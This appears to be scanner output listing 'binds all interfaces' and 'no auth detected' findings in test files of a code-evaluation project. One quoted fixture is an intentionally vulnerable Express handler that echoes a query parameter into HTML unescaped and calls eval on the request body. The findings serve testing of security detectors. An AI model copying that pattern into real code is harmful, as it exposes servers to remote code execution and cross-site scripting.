  • binds all interfaces (0.0.0.0) KevinRabun-judges-8432a66/tests/evaluator-deep3.test.ts :87 'const app=require("express")();\napp.get("/u",(q,r)=>{r.send("<h1>"+q.query.n+"</h1>");eval(q.body.c);});\napp.listen(3000,"0.0.0.0");';
  • binds all interfaces (0.0.0.0) KevinRabun-judges-8432a66/tests/language-coverage.test.ts :229 app.listen(3000, "0.0.0.0");
  • network-listening, binds all interfaces, no auth detected KevinRabun-judges-8432a66/tests/multi-judge-coverage.test.ts :156 app.run(debug=True, host="0.0.0.0")`;
  • binds all interfaces (0.0.0.0) KevinRabun-judges-8432a66/tests/negative.test.ts :259 app.run(host="0.0.0.0", port=port)
  • network-listening, binds all interfaces, no auth detected KevinRabun-judges-8432a66/tests/patches-deep.test.ts :220 const code = 'app.listen(3000, "0.0.0.0");';
  • network-listening, binds all interfaces, no auth detected KevinRabun-judges-8432a66/tests/patches.test.ts :439 const code = 'app.listen(3000, "0.0.0.0");';